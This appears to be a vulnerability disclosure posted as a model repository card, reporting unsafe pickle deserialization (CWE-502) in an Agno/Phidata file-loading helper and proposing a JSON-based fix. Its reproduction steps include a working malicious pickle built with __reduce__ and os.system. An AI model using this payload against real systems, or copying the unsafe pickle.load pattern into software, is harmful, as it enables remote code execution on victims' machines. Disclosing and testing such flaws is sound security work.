YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Phidata/Agno β€” pickle.load() with Post-Deserialization Class Check (Security Theater)

Vulnerability Type

CWE-502: Deserialization of Untrusted Data

Severity

High β€” The verify_class parameter creates a false sense of security. The pickle payload executes during pickle.load(), before the isinstance check.

Affected Code

File: libs/agno/agno/utils/pickle.py

def unpickle_object_from_file(file_path: Path, verify_class: Optional[Any] = None) -> Any:
    _obj = None
    if file_path.exists() and file_path.is_file():
        _obj = pickle.load(file_path.open("rb"))  # ← RCE happens HERE

    if _obj and verify_class and not isinstance(_obj, verify_class):
        logger.warning(f"Object does not match {verify_class}")
        _obj = None  # Too late β€” pickle payload already executed

    return _obj

Steps to Reproduce

  1. Identify where phidata/agno calls unpickle_object_from_file:
from agno.utils.pickle import unpickle_object_from_file
  1. Create a malicious pickle file:
import pickle, os

class FakeAgent:
    def __reduce__(self):
        return (os.system, ('id > /tmp/phidata_pwned',))

with open("/tmp/agent_state.pkl", "wb") as f:
    pickle.dump(FakeAgent(), f)
  1. Load with verify_class β€” RCE still fires:
from pathlib import Path

# verify_class=dict, but the exploit runs BEFORE the check
result = unpickle_object_from_file(Path("/tmp/agent_state.pkl"), verify_class=dict)
# /tmp/phidata_pwned now exists β€” RCE executed before isinstance check

Why verify_class Doesn't Help

Python's pickle.load() invokes __reduce__ methods during deserialization. The malicious code executes as part of object reconstruction, which happens inside pickle.load() β€” before the return value is available for any type checking.

Timeline:
1. pickle.load(f) called
2. β†’ pickle reads opcodes
3. β†’ __reduce__ triggers os.system("id > /tmp/pwned")  ← RCE HERE
4. β†’ pickle returns the constructed object
5. isinstance(_obj, verify_class) runs  ← TOO LATE

Suggested Fix

Use RestrictedUnpickler or replace pickle entirely:

import json

def safe_load_from_file(file_path: Path, expected_type: type = None) -> Any:
    with open(file_path, "r") as f:
        obj = json.load(f)
    if expected_type and not isinstance(obj, expected_type):
        return None
    return obj

Invariant Violated

S16 (DeserializationGuard): The verify_class parameter is security theater β€” it does not prevent code execution during deserialization.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support